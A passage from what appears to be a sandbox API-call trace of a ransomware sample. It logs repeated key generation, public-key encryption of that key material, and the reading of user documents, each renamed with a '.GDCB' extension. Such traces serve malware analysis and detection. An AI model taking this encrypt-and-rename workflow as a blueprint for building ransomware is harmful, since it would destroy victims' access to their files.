Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.429] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a6f0) returned 1 [0137.429] CryptGetKeyParam (in: hKey=0x32a6f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.429] CryptEncrypt (in: hKey=0x32a6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.429] GetLastError () returned 0x0 [0137.429] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.429] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0137.431] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a970) returned 1 [0137.431] CryptGetKeyParam (in: hKey=0x32a970, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.431] CryptEncrypt (in: hKey=0x32a970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.431] GetLastError () returned 0x0 [0137.431] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0137.431] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZDva7C73jglno2II.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zdva7c73jglno2ii.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.431] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.431] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.432] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xd8e7, lpOverlapped=0x0) returned 1 [0137.440] VirtualAlloc (lpAddress=0x0, dwSize=0xd8f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.445] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZDva7C73jglno2II.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zdva7c73jglno2ii.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ZDva7C73jglno2II.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\zdva7c73jglno2ii.mkv.gdcb")) returned 1 [0137.446] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.446] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.447] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.447] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.447] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.447] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.447] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.447] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.447] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.447] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.447] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.449] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a9f0) returned 1 [0137.449] CryptGetKeyParam (in: hKey=0x32a9f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.449] CryptEncrypt (in: hKey=0x32a9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.450] GetLastError () returned 0x0 [0137.450] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.450] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.451] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32aa30) returned 1 [0137.451] CryptGetKeyParam (in: hKey=0x32aa30, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.451] CryptEncrypt (in: hKey=0x32aa30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.452] GetLastError () returned 0x0 [0137.452] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.452] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_K46etKVMAaI10T6boQ.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_k46etkvmaai10t6boq.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.452] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.452] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.452] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xcd8b, lpOverlapped=0x0) returned 1 [0137.461] VirtualAlloc (lpAddress=0x0, dwSize=0xcd90, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.466] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_K46etKVMAaI10T6boQ.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_k46etkvmaai10t6boq.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_K46etKVMAaI10T6boQ.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_k46etkvmaai10t6boq.docx.gdcb")) returned 1 [0137.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0137.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0137.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0137.467] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0137.469] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.469] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.469] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.469] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.469] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.469] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.470] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.470] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.470] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.470] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0137.472] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a3b0) returned 1 [0137.472] CryptGetKeyParam (in: hKey=0x32a3b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.472] CryptEncrypt (in: hKey=0x32a3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.472] GetLastError () returned 0x0 [0137.472] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.472] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.474] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a4f0) returned 1 [0137.474] CryptGetKeyParam (in: hKey=0x32a4f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.474] CryptEncrypt (in: hKey=0x32a4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.474] GetLastError () returned 0x0 [0137.474] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.474] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\0fbVcV3Zv5.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\0fbvcv3zv5.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.474] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.475] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.475] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x141d5, lpOverlapped=0x0) returned 1 [0137.484] VirtualAlloc (lpAddress=0x0, dwSize=0x141e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.490] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\0fbVcV3Zv5.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\0fbvcv3zv5.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\0fbVcV3Zv5.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\0fbvcv3zv5.pptx.gdcb")) returned 1 [0137.491] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.492] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.492] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.492] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.492] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.492] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.492] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.492] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.492] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.494] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a670) returned 1 [0137.494] CryptGetKeyParam (in: hKey=0x32a670, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.494] CryptEncrypt (in: hKey=0x32a670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.495] GetLastError () returned 0x0 [0137.495] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.495] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0137.528] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a7f0) returned 1 [0137.528] CryptGetKeyParam (in: hKey=0x32a7f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.528] CryptEncrypt (in: hKey=0x32a7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.528] GetLastError () returned 0x0 [0137.528] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.528] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1K3-TZCPmibHkU6FTw.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1k3-tzcpmibhku6ftw.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.529] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.529] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.529] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x10ad3, lpOverlapped=0x0) returned 1 [0137.674] VirtualAlloc (lpAddress=0x0, dwSize=0x10ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.725] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1K3-TZCPmibHkU6FTw.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1k3-tzcpmibhku6ftw.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1K3-TZCPmibHkU6FTw.pps.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1k3-tzcpmibhku6ftw.pps.gdcb")) returned 1 [0137.764] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0137.764] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.765] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.765] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.765] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0137.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.765] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.765] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.765] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.765] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.768] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a3f0) returned 1 [0137.768] CryptGetKeyParam (in: hKey=0x32a3f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.768] CryptEncrypt (in: hKey=0x32a3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.768] GetLastError () returned 0x0 [0137.768] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.768] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.771] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a5b0) returned 1 [0137.771] CryptGetKeyParam (in: hKey=0x32a5b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.771] CryptEncrypt (in: hKey=0x32a5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.771] GetLastError () returned 0x0 [0137.771] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.771] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\3V2cw3uZFEEV-SxWrlF.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\3v2cw3uzfeev-sxwrlf.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.771] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.772] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.772] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xfe7d, lpOverlapped=0x0) returned 1 [0137.814] VirtualAlloc (lpAddress=0x0, dwSize=0xfe80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.819] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\3V2cw3uZFEEV-SxWrlF.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\3v2cw3uzfeev-sxwrlf.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\3V2cw3uZFEEV-SxWrlF.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\3v2cw3uzfeev-sxwrlf.docx.gdcb")) returned 1 [0137.820] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.821] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.821] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.821] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.821] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.821] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.821] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.824] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a4b0) returned 1 [0137.828] CryptGetKeyParam (in: hKey=0x32a4b0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.828] CryptEncrypt (in: hKey=0x32a4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.828] GetLastError () returned 0x0 [0137.828] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.828] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.830] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a530) returned 1 [0137.830] CryptGetKeyParam (in: hKey=0x32a530, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.830] CryptEncrypt (in: hKey=0x32a530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.830] GetLastError () returned 0x0 [0137.830] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4nC7.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4nc7.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.831] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.831] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x1737e, lpOverlapped=0x0) returned 1 [0137.846] VirtualAlloc (lpAddress=0x0, dwSize=0x17380, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.852] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4nC7.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4nc7.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4nC7.rtf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\4nc7.rtf.gdcb")) returned 1 [0137.854] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.854] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.854] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.854] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.854] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0137.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.862] CryptGenRandom (in: hProv=0x2ecfd0, 